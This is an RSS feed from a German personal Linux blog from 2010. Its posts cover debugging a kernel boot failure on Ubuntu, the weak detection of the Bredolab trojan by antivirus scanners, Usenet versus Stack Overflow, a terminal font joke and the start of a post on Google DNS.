<?xml version="1.0" encoding="utf-8" ?>

<rss version="2.0" 
   xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
   xmlns:admin="http://webns.net/mvcb/"
   xmlns:dc="http://purl.org/dc/elements/1.1/"
   xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
   xmlns:wfw="http://wellformedweb.org/CommentAPI/"
   xmlns:content="http://purl.org/rss/1.0/modules/content/"
   >
<channel>
    <title>Qbi's Weblog - Software</title>
    <link>http://www.kubieziel.de/blog/</link>
    <description>Gedanken über mich, die Welt und alles andere</description>
    <dc:language>en</dc:language>
    <admin:errorReportsTo rdf:resource="mailto:qbi@kubieziel.de" />
    <generator>Serendipity 1.5.2 - http://www.s9y.org/</generator>
    
    <image>
        <url>http://www.kubieziel.de/blog/templates/default/img/s9y_banner_small.png</url>
        <title>RSS: Qbi's Weblog - Software - Gedanken über mich, die Welt und alles andere</title>
        <link>http://www.kubieziel.de/blog/</link>
        <width>100</width>
        <height>21</height>
    </image>

<item>
    <title>Fehlersuche beim Linux-Kernel (Bootprobleme)</title>
    <link>http://www.kubieziel.de/blog/archives/1393-Fehlersuche-beim-Linux-Kernel-Bootprobleme.html</link>
            <category>Linux</category>
    
    <comments>http://www.kubieziel.de/blog/archives/1393-Fehlersuche-beim-Linux-Kernel-Bootprobleme.html#comments</comments>
    <wfw:comment>http://www.kubieziel.de/blog/wfwcomment.php?cid=1393</wfw:comment>

    <slash:comments>2</slash:comments>
    <wfw:commentRss>http://www.kubieziel.de/blog/rss.php?version=2.0&amp;type=comments&amp;cid=1393</wfw:commentRss>
    

    <author>jens@kubieziel.de (Jens Kubieziel)</author>
    <content:encoded>
    &lt;p&gt;Vor nicht allzu langer Zeit sass ich entspannt bei einem Kaffee und
wollte meinen Rechner starten. Einschaltknopf gedrückt und der
Bildschirm lächelte mich mit einer Fehlermeldung an:&lt;/p&gt;

&lt;pre&gt;&lt;samp&gt;error: unexpectedly disconnected from boot status daemon
Begin: Waiting for root file system ...&lt;/samp&gt;&lt;/pre&gt;

&lt;p&gt;&lt;a href=&quot;http://www.kubieziel.de/blog/exit.php?url_id=3890&amp;amp;entry_id=1393&quot; title=&quot;http://grml.org/&quot;  onmouseover=&quot;window.status=&#039;http://grml.org/&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot;&gt;grml&lt;/a&gt;, warum muss das ausgerechnet
jetzt passieren? Sehr schnell war klar, dass ich an dieser Stelle
nicht weiter komme. Also bootete ich einen alten, funktionierenden
Kernel und änderte meine grub-Einstellungen entsprechend. Damit lebte
ich einige Zeit gut, bis mir mal wieder der Workaround auffiel. Jetzt
wollte ich das Problem mal genauer angehen.&lt;/p&gt;

&lt;div style=&quot;float:left&quot;&gt;
  &lt;img src=&quot;http://kubieziel.de/pics/plymouth.png&quot;
  alt=&quot;Beispielansicht eines Plymouth-Bootscreen&quot; /&gt;
&lt;/div&gt;
  
&lt;p&gt;Die Fehlermeldung, die irgendwas von dem Boot Status Daemon
erzählte, schien auf &lt;a
href=&quot;http://www.kubieziel.de/blog/exit.php?url_id=3891&amp;amp;entry_id=1393&quot; title=&quot;http://www.freedesktop.org/wiki/Software/Plymouth&quot;  onmouseover=&quot;window.status=&#039;http://www.freedesktop.org/wiki/Software/Plymouth&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot;&gt;plymouth&lt;/a&gt;
hinzudeuten. Der Sinn der Software ist es, den Bootprozess zu
verschönern. Das heißt, es macht schicke Bildchen anstatt der
Kernelmeldungen.&lt;/p&gt;

&lt;p&gt;Der &lt;a href=&quot;http://www.kubieziel.de/blog/exit.php?url_id=3892&amp;amp;entry_id=1393&quot; title=&quot;http://bugs.debian.org/&quot;  onmouseover=&quot;window.status=&#039;http://bugs.debian.org/&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot; &gt;Bugtracker von Debian&lt;/a&gt;
hatte einen &lt;a
href=&quot;http://www.kubieziel.de/blog/exit.php?url=aHR0cDovL2J1Z3MuZGViaWFuLm9yZy9jZ2ktYmluL2J1Z3JlcG9ydC5jZ2k/YnVnPTU3NDc1NQ==&amp;amp;entry_id=1393&quot; title=&quot;http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=574755&quot;  onmouseover=&quot;window.status=&#039;http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=574755&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot;&gt;Eintrag
zu meiner Meldung&lt;/a&gt;. Die in dem Bugreport genannten Einstellungen
änderten bei mir nichts am Problem. In meinem nächstem Versuch wollte
ich plymouth deinstallieren. Aber da gab es eine winzige Abhängigkeit
zu &lt;kbd&gt;mountall(8)&lt;/kbd&gt;. Der Zufall führte mich zu einem &lt;a
href=&quot;http://www.kubieziel.de/blog/exit.php?url=aHR0cDovL3dpa2kudWJ1bnR1dXNlcnMuZGUvUGx5bW91dGgjRGVpbnN0YWxsaWVyZW4=&amp;amp;entry_id=1393&quot; title=&quot;http://wiki.ubuntuusers.de/Plymouth#Deinstallieren&quot;  onmouseover=&quot;window.status=&#039;http://wiki.ubuntuusers.de/Plymouth#Deinstallieren&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot;&gt;angepasstem
Paket, mit dem plymouth deinstalliert werden kann&lt;/a&gt;. In freudiger
Erwartung startete ich den Rechner neu. Aber es wäre nur zu schön
gewesen, wenn sich das Problem so leicht lösen ließe.&lt;/p&gt;

&lt;p&gt;Zu diesem Zeitpunkt kam mir in den Sinn, die Bootoptionen
&lt;code&gt;quiet&lt;/code&gt; und &lt;code&gt;splash&lt;/code&gt; zu entfernen. Siehe da, ein
wenig mehr kam zum Vorschein:&lt;/p&gt;

&lt;pre&gt;&lt;samp&gt;Begin: Running /scripts/init-premount ... done.
Begin: Mounting root file system ... Begin: Running /scripts/local-top ... done.
Begin: Waiting for root file system ...
&lt;/samp&gt;&lt;/pre&gt;

&lt;p&gt;Warten, warten und nochmal warten. Oh, nun noch eine
BusyBox-Shell:&lt;/p&gt;

&lt;pre&gt;&lt;samp&gt;(initramfs) Gave up waiting for root device. Common problems:
...
ALERT! /dev/disk/by-uuid/.... does not exist. Dropping to a shell!
&lt;/samp&gt;&lt;/pre&gt;

&lt;p&gt;Nebenbei stellte ich dann fest, dass die Meldung mit dem Boot
Status Daemon nur bei einer speziellen Kernelversion auftrat. Die
Meldung oben konnte ich mit jeder Standard-Ubuntu-Kernelversion größer
als 2.6.32-20 erzeugen. Für mich wäre es viel wichtiger zu erfahren,
woher denn diese Meldung stammt!&lt;/p&gt;

&lt;p&gt;Ein Hinweis brachte mich dann zu den &lt;a
href=&quot;http://www.kubieziel.de/blog/exit.php?url_id=3893&amp;amp;entry_id=1393&quot; title=&quot;https://wiki.ubuntu.com/KernelMainlineBuilds&quot;  onmouseover=&quot;window.status=&#039;https://wiki.ubuntu.com/KernelMainlineBuilds&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot;&gt;Mainline-Builds&lt;/a&gt;. Das
sind spezielle Pakete des Ubuntu Kernelteams, die recht nahe am
Original-Kernel sind. Ich versuchte wieder diverse Versionen. Alle
brachten mir die Fehlermeldung. Na gut, dann baue ich eben einen
eigenen Kernel.&lt;/p&gt;

&lt;pre&gt;&lt;kbd&gt;git clone git://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux-2.6.git
cp /boot/config-2.6.32-24-generic /usr/src/linux-2.6/.config
make oldnoconfig
make deb-pkg
dpkg -i ../linux*.deb
reboot&lt;/kbd&gt;&lt;/pre&gt;

&lt;p&gt;Beim ersten Reboot startete der Kernel tatsächlich korrekt. Sollte
Ubuntu wirklich einen Bug in den eigenen Kernel eingebaut haben?
Plötzlich fiel mir ein, dass die Zeile im grub einen kleinen, aber
feinen Unterschied zu den restlichen Einträgen aufwies. Ich hatte
&lt;kbd&gt;root=/dev/sda1&lt;/kbd&gt; angegeben. Alle anderen Einträge trugen
&lt;kbd&gt;root=UUID=...&lt;/kbd&gt;. Also versuchte ich die Änderung bei den
anderen Kerneln und es klappte. Jede Kernelversion bootete mit dieser
Änderung.&lt;/p&gt;

&lt;p&gt;Jetzt muss ich nur noch herausfinden, warum das nicht klappt und
ich bin wieder ein glücklicher Mensch. &lt;img src=&quot;http://www.kubieziel.de/blog/templates/default/img/emoticons/smile.png&quot; alt=&quot;:-)&quot; style=&quot;display: inline; vertical-align: bottom;&quot; class=&quot;emoticon&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Das Bild stammt vom Blog &lt;a href=&quot;http://www.kubieziel.de/blog/exit.php?url_id=3900&amp;amp;entry_id=1393&quot; title=&quot;http://linuxundich.de/de/ubuntu/plymouth-boot-nvidia-virtualbox/&quot;  onmouseover=&quot;window.status=&#039;http://linuxundich.de/de/ubuntu/plymouth-boot-nvidia-virtualbox/&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot;&gt;Linux und ich&lt;/a&gt;&lt;/p&gt;  
    </content:encoded>

    <pubDate>Fri, 13 Aug 2010 21:22:55 +0200</pubDate>
    <guid isPermaLink="false">http://www.kubieziel.de/blog/archives/1393-guid.html</guid>
    <category>fehler</category>
<category>kernel</category>
<category>plymouth</category>
<category>ubuntu</category>

</item>
<item>
    <title>Virenscanner und trügerische Sicherheit</title>
    <link>http://www.kubieziel.de/blog/archives/1387-Virenscanner-und-truegerische-Sicherheit.html</link>
            <category>Software</category>
    
    <comments>http://www.kubieziel.de/blog/archives/1387-Virenscanner-und-truegerische-Sicherheit.html#comments</comments>
    <wfw:comment>http://www.kubieziel.de/blog/wfwcomment.php?cid=1387</wfw:comment>

    <slash:comments>1</slash:comments>
    <wfw:commentRss>http://www.kubieziel.de/blog/rss.php?version=2.0&amp;type=comments&amp;cid=1387</wfw:commentRss>
    

    <author>jens@kubieziel.de (Jens Kubieziel)</author>
    <content:encoded>
    &lt;p&gt;In Abwandlung der &lt;a href=&quot;http://www.kubieziel.de/blog/exit.php?url_id=3859&amp;amp;entry_id=1387&quot; title=&quot;http://www.iks-jena.de/mitarb/lutz/usenet/Fachbegriffe.der.Informatik.html&quot;  onmouseover=&quot;window.status=&#039;http://www.iks-jena.de/mitarb/lutz/usenet/Fachbegriffe.der.Informatik.html&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot;&gt;Fachbegriffe der Informatik&lt;/a&gt; &lt;a href=&quot;http://www.kubieziel.de/blog/exit.php?url_id=3860&amp;amp;entry_id=1387&quot; title=&quot;http://www.iks-jena.de/mitarb/lutz/usenet/Fachbegriffe.der.Informatik.html#264&quot;  onmouseover=&quot;window.status=&#039;http://www.iks-jena.de/mitarb/lutz/usenet/Fachbegriffe.der.Informatik.html#264&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot;&gt;Nummer&amp;#160;264&lt;/a&gt; könnte man schreiben: Virenscanner schützen vor Viren, Trojanern, Kettenbriefen und Taubenscheiße auf dem Autodach. Dem populären Glauben nach ist das auch so. &lt;a href=&quot;http://www.kubieziel.de/blog/exit.php?url=aHR0cDovL3d3dy5zeW1hbnRlYy5jb20vc2VjdXJpdHlfcmVzcG9uc2Uvd3JpdGV1cC5qc3A/ZG9jaWQ9MjAwOS0wNTI5MDctMjQzNi05OSZ0YWJpZD0y&amp;amp;entry_id=1387&quot; title=&quot;http://www.symantec.com/security_response/writeup.jsp?docid=2009-052907-2436-99&amp;amp;tabid=2&quot;  onmouseover=&quot;window.status=&#039;http://www.symantec.com/security_response/writeup.jsp?docid=2009-052907-2436-99&amp;amp;tabid=2&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot;&gt;Bredolab&lt;/a&gt;, ein neuer Trojaner, zeigt wieder einmal, wie gefährlich dieser Glaube sein kann. Der Trojaner tauchte am 13.Juli erstmalig auf und &lt;a href=&quot;http://www.kubieziel.de/blog/exit.php?url_id=3862&amp;amp;entry_id=1387&quot; title=&quot;http://www.virustotal.com/analisis/395bc8cd2989bce96914170146665ae97fed96d637f510a720446699d75d0a9a-1279044132&quot;  onmouseover=&quot;window.status=&#039;http://www.virustotal.com/analisis/395bc8cd2989bce96914170146665ae97fed96d637f510a720446699d75d0a9a-1279044132&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot;&gt;&lt;em&gt;kein&lt;/em&gt; Virenscanner&lt;/a&gt; fand ihn. Fünf Tage später fanden ihn &lt;a href=&quot;http://www.kubieziel.de/blog/exit.php?url_id=3863&amp;amp;entry_id=1387&quot; title=&quot;http://www.virustotal.com/de/analisis/d3557c961b1dce97df10116e2989b3e378e4ec06e023ff4db74394f756ee81b2-1279467632&quot;  onmouseover=&quot;window.status=&#039;http://www.virustotal.com/de/analisis/d3557c961b1dce97df10116e2989b3e378e4ec06e023ff4db74394f756ee81b2-1279467632&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot;&gt;weniger als 50% der getesteten Produkte&lt;/a&gt;. Nebenan bei Websicherheit.org &lt;a href=&quot;http://www.kubieziel.de/blog/exit.php?url_id=3864&amp;amp;entry_id=1387&quot; title=&quot;http://www.websicherheit.org/?p=7655&quot;  onmouseover=&quot;window.status=&#039;http://www.websicherheit.org/?p=7655&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot;&gt;verfolgt man die Erkennungsraten&lt;/a&gt;. Ich bin gespannt, wann alle den Trojaner als solchen erkennen. Virenscanner sind eben nur eine Verteidigungslinie und wer sich ausschließlich darauf verlässt, ist manchmal verlassen.&lt;/p&gt;  
    </content:encoded>

    <pubDate>Mon, 19 Jul 2010 01:03:58 +0200</pubDate>
    <guid isPermaLink="false">http://www.kubieziel.de/blog/archives/1387-guid.html</guid>
    <category>bredola</category>
<category>trojaner</category>
<category>virenscanner</category>
<category>virus</category>

</item>
<item>
    <title>Der totale Overflow</title>
    <link>http://www.kubieziel.de/blog/archives/1385-Der-totale-Overflow.html</link>
            <category>Software</category>
    
    <comments>http://www.kubieziel.de/blog/archives/1385-Der-totale-Overflow.html#comments</comments>
    <wfw:comment>http://www.kubieziel.de/blog/wfwcomment.php?cid=1385</wfw:comment>

    <slash:comments>8</slash:comments>
    <wfw:commentRss>http://www.kubieziel.de/blog/rss.php?version=2.0&amp;type=comments&amp;cid=1385</wfw:commentRss>
    

    <author>jens@kubieziel.de (Jens Kubieziel)</author>
    <content:encoded>
    &lt;p&gt;Meine Anfänge im Internet gehen in das Jahr 1996 zurück. Vielleicht auch etwas eher. So genau weiß ich das nicht mehr. Damals versuchte ich das unbekannte Territorium ein wenig zu erobern. Da gab es so merkwürdig klingende Dienste wie &lt;a href=&quot;http://www.kubieziel.de/blog/exit.php?url_id=3845&amp;amp;entry_id=1385&quot; title=&quot;http://de.wikipedia.org/wiki/Gopher&quot;  onmouseover=&quot;window.status=&#039;http://de.wikipedia.org/wiki/Gopher&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot;&gt;Gopher&lt;/a&gt;, &lt;a href=&quot;http://www.kubieziel.de/blog/exit.php?url_id=3846&amp;amp;entry_id=1385&quot; title=&quot;http://de.wikipedia.org/wiki/Archie&quot;  onmouseover=&quot;window.status=&#039;http://de.wikipedia.org/wiki/Archie&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot;&gt;Archie&lt;/a&gt; oder &lt;a href=&quot;http://www.kubieziel.de/blog/exit.php?url_id=3847&amp;amp;entry_id=1385&quot; title=&quot;http://de.wikipedia.org/wiki/Very_Easy_Rodent-Oriented_Netwide_Index_to_Computerized_Archives&quot;  onmouseover=&quot;window.status=&#039;http://de.wikipedia.org/wiki/Very_Easy_Rodent-Oriented_Netwide_Index_to_Computerized_Archives&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot;&gt;Veronica&lt;/a&gt;. Das, was heute fälschlicherweise als das Internet bezeichnet wird, nämlich das &lt;abbr title=&quot;World Wide Web&quot;&gt;WWW&lt;/abbr&gt; existierte ebenso wie ein Dienst namens Usenet. Das war und ist ein riesiges weltweites Diskussionsforum mit einzelnen Räumen, den Newsgroups oder Gruppen. Das Usenet ist hierarchisch aufgebaut.Beispielsweise gibt es eine deutschsprachige Hierarchie. Darunter gibt es Gebiete für Diskussionen um Computer, um Wissenschaft, um Erholung etc. Diese teilen sich dann weiter auf in Computerhardware oder Mathematik oder Kartenspiele. In den einzelnen Gruppen fanden in der Regel sehr wertvolle Diskussionen statt, es wurden sinnvolle Lösungen weitergegeben etc. Mit dem Aufkommen von Foren, Blogs und guten Suchmaschinen begann der Stern des Usenet zu sinken. Die Diskussionen verlagerten sich an andere Stellen und heute schließen diverse Firmen Newsserver. Die Schreiber der Gruppen gehen andere Wege.&lt;/p&gt;

&lt;p&gt;Der große Vorteil des Usenet ist aus meiner Sicht die einfache Bedienung, die Qualität der Beiträge und das Offline-Archiv. Geschrieben und gelesen wird das Usenet in der Regel in einem Programm, dem Newsreader. Google Groups bietet ebenso eine Schnittstelle zum Usenet. Zum Verfassen eines Beitrages kann ich somit den Editor bedienen und seine Stärken ausnutzen. Damit lässt effektiv ein Beitrag verfassen. Dies lassen die Webforen vermissen. Beiträge müssen im Webbrowser verfasst werden. Der bringt in der Regel keine Unterstützung für erweiterte Funktionen (Abkürzungen, Ersetzen etc.) mit. Ein Problem der Webforen ist die Aufsplitterung. Stellt euch vor, ich habe ein Problem mit meinem imaginären Opel und &lt;a href=&quot;http://www.kubieziel.de/blog/exit.php?url=aHR0cDovL3d3dy5nb29nbGUuY29tL3NlYXJjaD9obD1kZSZxPWZvcnVtK2F1dG8rb3BlbA==&amp;amp;entry_id=1385&quot;  onmouseover=&quot;window.status=&#039;http://www.google.com/search?hl=de&amp;amp;q=forum+auto+opel&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot;&gt;suche nach einem Opel-Forum&lt;/a&gt;. Welches von den sechs Millionen Funden ist das Richtige? Im Usenet gab es die Gruppe &lt;var&gt;de.etc.fahrzeug.auto&lt;/var&gt;. Dort fanden alle Diskussionen zu dem Thema statt. Die ließen sich herunterladen und, während man mit der Bahn unterwegs war, konnte man sich zu dem Problem mit dem Opel belesen. Wie geht das bei einem Webforum?&lt;/p&gt;

&lt;p&gt;Der letztgenannte Punkt ist heute kein großes Problem, dank UMTS und WLAN. Die ungelösten Probleme sterben nicht aus und wenn ich mich auf die Suche nach einer Lösung begebe, stoße ich in letzter Zeit gehäuft auf &lt;a href=&quot;http://www.kubieziel.de/blog/exit.php?url_id=3849&amp;amp;entry_id=1385&quot; title=&quot;http://stackoverflow.com/&quot;  onmouseover=&quot;window.status=&#039;http://stackoverflow.com/&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot;&gt;Stackoverflow&lt;/a&gt;. Die Seite richtet sich vorrangig an Programmierer und fiel mir durch qualitativ hochwertige Antworten auf. Die Suchergebnisse sind dementsprechend bei Google immer recht weit oben gelistet.&lt;/p&gt;

&lt;p&gt;Stackoverflow ist prinzipiell ein Webforum. Jedoch wählt es einen anderen Ansatz. Einerseits sind alle Beiträge für jedermann lesbar. Das steht im Gegensatz zu manchem Webforum, bei dem man sich erst anmelden muss, um Beiträge zu lesen. Wer macht das schon? Der Ansatz von Stackoverflow geht aber noch weiter. Jeder kann ohne Anmeldung auch Beiträge verfassen. Das heißt, Fragen stellen, kommentieren oder beantworten. Die Macher der Seite setzen hier auf die Weisheit der Massen. Um das Ganze ein wenig zu unterstützen, gibt es ein Bonussystem. Wer sich nämlich bei der Seite anmeldet, bekommt Bonuspunkte für gestellte Fragen, für Antworten und einiges mehr. Je mehr Punkte jemand besitzt, desto mehr Rechte bekommt er. Dieses Bonussystem wirkt sich nach meiner Beobachtung auf die Psyche aus. Wer alte Diskussionen aus dem Usenet kennt, der kennt &lt;abbr title=&quot;Read The Fine Manual&quot;&gt;RTFM&lt;/abbr&gt; und andere Abkürzungen, die einem Fragenden entgegengeworfen werden. Bei Stackoverflow herrscht hingegen eine weitgehend freundliche Atmosphäre. Antworten fallen schon einmal länger aus und enthalten Beispiele. Denn für eine gute Antwort bekommt der Antwortende Punkte. Jeder kann Fragen und Antworten bewerten und die Seite zeigt automatisch, die am besten bewerteten Antworten oben an. Das ist wiederum für den Suchenden sehr praktisch.&lt;/p&gt;

&lt;p&gt;Innerhalb von Stackoverflow gibt es Tags, die zu Fragen vergeben werden. Diese stellen eine Art thematische Sortierung dar. Wer Fragen zu &lt;a href=&quot;http://www.kubieziel.de/blog/exit.php?url_id=3850&amp;amp;entry_id=1385&quot;  onmouseover=&quot;window.status=&#039;http://stackoverflow.com/questions/tagged/php&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot;&gt;PHP&lt;/a&gt;, &lt;a href=&quot;http://www.kubieziel.de/blog/exit.php?url_id=3851&amp;amp;entry_id=1385&quot; title=&quot;http://stackoverflow.com/questions/tagged/haskell&quot;  onmouseover=&quot;window.status=&#039;http://stackoverflow.com/questions/tagged/haskell&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot;&gt;Haskell&lt;/a&gt; oder &lt;a href=&quot;http://www.kubieziel.de/blog/exit.php?url_id=3852&amp;amp;entry_id=1385&quot; title=&quot;http://stackoverflow.com/questions/tagged/c%2b%2b&quot;  onmouseover=&quot;window.status=&#039;http://stackoverflow.com/questions/tagged/c%2b%2b&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot;&gt;C++&lt;/a&gt; stellen bzw. beantworten will, schaut sich den entsprechenden Tag an. Mehrere tausend Tags sind derzeit vergeben.&lt;/p&gt;

&lt;p&gt;Nun stieß ich auf eine weitere Seite aus dem Stackoverflow-Universum, der &lt;a href=&quot;http://www.kubieziel.de/blog/exit.php?url_id=3853&amp;amp;entry_id=1385&quot; title=&quot;http://area51.stackexchange.com/&quot;  onmouseover=&quot;window.status=&#039;http://area51.stackexchange.com/&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot;&gt;Area51&lt;/a&gt;. Diese setzt eine weitere Idee aus dem Usenet um. Wer nämlich eine neue Diskussionsgruppe im Usenet errichten wollte, musste einen formalen Prozess aus verschiedenen Schritten durchlaufen. Das sollte sicherstellen, dass nicht sinnlos Gruppen für Partikularinteressen gegründet werden. Ähnlich ist Area51. Die Seite erlaubt wieder jedem einen Vorschlag für eine neue Seite einzubringen. Danach findet dazu eine Diskussion statt, d.h. andere müssen Beispielfragen bringen, die gut in das Thema passen würden. Andere diskutieren diese Fragen und vergeben Punkte, ob diese wirklich &lt;q&gt;gute Fragen&lt;/q&gt; sind. Nach Abschluss des Prozesses werden Leute gesucht, die sich verpflichten für einen begrenzten Zeitraum Fragen zu beantworten. Kommen genügend Stimmen zusammen, so wird die Seite ins Leben gerufen. Das stellt sicher, dass hier nicht das n-te tote Forum im Web steht. Neben Stackoverflow kenne ich derzeit:&lt;/p&gt;

&lt;dl&gt;
&lt;dt&gt;&lt;a href=&quot;http://www.kubieziel.de/blog/exit.php?url_id=3854&amp;amp;entry_id=1385&quot; title=&quot;http://serverfault.com/&quot;  onmouseover=&quot;window.status=&#039;http://serverfault.com/&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot;&gt;Serverfault&lt;/a&gt;&lt;/dt&gt;
&lt;dd&gt;Eine Seite für Sysadmins&lt;/dd&gt;
&lt;dt&gt;&lt;a href=&quot;http://www.kubieziel.de/blog/exit.php?url_id=3855&amp;amp;entry_id=1385&quot; title=&quot;http://superuser.com/&quot;  onmouseover=&quot;window.status=&#039;http://superuser.com/&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot;&gt;Superuser&lt;/a&gt;&lt;/dt&gt;
&lt;dd&gt;Allgemeine Computerfragen&lt;/dd&gt;
&lt;dt&gt;&lt;a href=&quot;http://www.kubieziel.de/blog/exit.php?url_id=3856&amp;amp;entry_id=1385&quot; title=&quot;http://meta.stackoverflow.com/&quot;  onmouseover=&quot;window.status=&#039;http://meta.stackoverflow.com/&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot;&gt;Meta&lt;/a&gt;&lt;/dt&gt;
&lt;dd&gt;Meta-Fragen zur Seite selbst&lt;/dd&gt;
&lt;dt&gt;&lt;a href=&quot;http://www.kubieziel.de/blog/exit.php?url_id=3857&amp;amp;entry_id=1385&quot; title=&quot;http://stackapps.com/&quot;  onmouseover=&quot;window.status=&#039;http://stackapps.com/&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot;&gt;Stackapps&lt;/a&gt;&lt;/dt&gt;
&lt;dd&gt;Fragen zur Stack Exchange API&lt;/dd&gt;
&lt;dt&gt;&lt;a href=&quot;http://www.kubieziel.de/blog/exit.php?url_id=3858&amp;amp;entry_id=1385&quot; title=&quot;http://cooking.stackexchange.com/&quot;  onmouseover=&quot;window.status=&#039;http://cooking.stackexchange.com/&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot;&gt;Cooking&lt;/a&gt;&lt;/dt&gt;
&lt;dd&gt;Die Kochseite ist erst kürzlich der Area51 entsprungen und befindet sich jetzt in der Testphase.&lt;/dd&gt;
&lt;/dl&gt;

&lt;p&gt;Insgesamt macht es richtig Spass, auf den Seiten herumzustöbern, Fragen zu lesen und auch zu beantworten. Aus meiner Sicht müssen noch ein paar kleinere Usability-Schwächen behoben werden. Aber insgesamt kann ich die Seite nur empfehlen. Werft mal einen Blick und sagt mir eure Meinung. Ich bin gespannt!&lt;/p&gt;  
    </content:encoded>

    <pubDate>Sun, 18 Jul 2010 23:33:55 +0200</pubDate>
    <guid isPermaLink="false">http://www.kubieziel.de/blog/archives/1385-guid.html</guid>
    <category>area51</category>
<category>newsgroup</category>
<category>programmierung</category>
<category>stackoverflow</category>
<category>usenet</category>
<category>webforum</category>

</item>
<item>
    <title>Neue Schrift fürs Terminal</title>
    <link>http://www.kubieziel.de/blog/archives/1384-Neue-Schrift-fuers-Terminal.html</link>
            <category>Linux</category>
    
    <comments>http://www.kubieziel.de/blog/archives/1384-Neue-Schrift-fuers-Terminal.html#comments</comments>
    <wfw:comment>http://www.kubieziel.de/blog/wfwcomment.php?cid=1384</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://www.kubieziel.de/blog/rss.php?version=2.0&amp;type=comments&amp;cid=1384</wfw:commentRss>
    

    <author>jens@kubieziel.de (Jens Kubieziel)</author>
    <content:encoded>
    &lt;p&gt;Das Wagnis startete heute nachmittag. Nach diversen Backup-Orgien war es an der Zeit, das Ubuntu auf die aktuelle Variante 10.04 zu upgraden. Ich wollte mal testen, ob das weitgehend klappt und hatte mich innerlich auf eine Neuinstallation eingerichtet. Doch, oh Wunder, bislang konnte ich kaum Probleme feststellen. Eines, was sofort auffiel, war die Schrift. Die ist bislang noch sehr ungenügend hier muss ich eine Lösung finden. Das zweite Problem war der &lt;q&gt;Spamfilter&lt;/q&gt; &lt;a href=&quot;http://www.kubieziel.de/blog/exit.php?url_id=3844&amp;amp;entry_id=1384&quot; title=&quot;http://crm114.sourceforge.net/&quot;  onmouseover=&quot;window.status=&#039;http://crm114.sourceforge.net/&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot;&gt;CRM114&lt;/a&gt;. Das wurde aber schon während der Installation angekündigt, dass es Probleme geben kann. Bei der Suche nach der korrekten Schriftart stieß ich u.a. auch auf Comic Sans. Das wäre doch die beste Wahl:&lt;/p&gt;

&lt;p style=&quot;text-align:center&quot;&gt;&lt;a href=&quot;http://www.kubieziel.de/blog/exit.php?url=aHR0cDovL2t1YmllemllbC5kZS9waWNzL3Rlcm1pbmFsLWNvbWljLXNhbnMucG5n&amp;amp;entry_id=1384&quot; title=&quot;http://kubieziel.de/pics/terminal-comic-sans.png&quot;  onmouseover=&quot;window.status=&#039;http://kubieziel.de/pics/terminal-comic-sans.png&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot;&gt;&lt;img src=&quot;http://kubieziel.de/pics/terminal-comic-sans.png&quot; width=&quot;412px&quot; height=&quot;344px&quot; alt=&quot;GNOME Terminal in Comic Sans&quot; /&gt;&lt;/p&gt;  
    </content:encoded>

    <pubDate>Fri, 16 Jul 2010 23:09:44 +0200</pubDate>
    <guid isPermaLink="false">http://www.kubieziel.de/blog/archives/1384-guid.html</guid>
    <category>comic sans</category>
<category>crm114</category>
<category>lucid</category>
<category>terminal</category>
<category>ubuntu</category>
<category>update</category>

</item>
<item>
    <title>Geschwindigkeit von Google DNS</title>
    <link>http://www.kubieziel.de/blog/archives/1380-Geschwindigkeit-von-Google-DNS.html</link>
            <category>Linux</category>
    
    <comments>http://www.kubieziel.de/blog/archives/1380-Geschwindigkeit-von-Google-DNS.html#comments</comments>
    <wfw:comment>http://www.kubieziel.de/blog/wfwcomment.php?cid=1380</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://www.kubieziel.de/blog/rss.php?version=2.0&amp;type=comments&amp;cid=1380</wfw:commentRss>
    

    <author>jens@kubieziel.de (Jens Kubieziel)</author>
    <content:encoded>
    &lt;p&gt;Gerade bin ich wieder baff. Google DNS macht mich heute sprachlos.&lt;/p&gt;

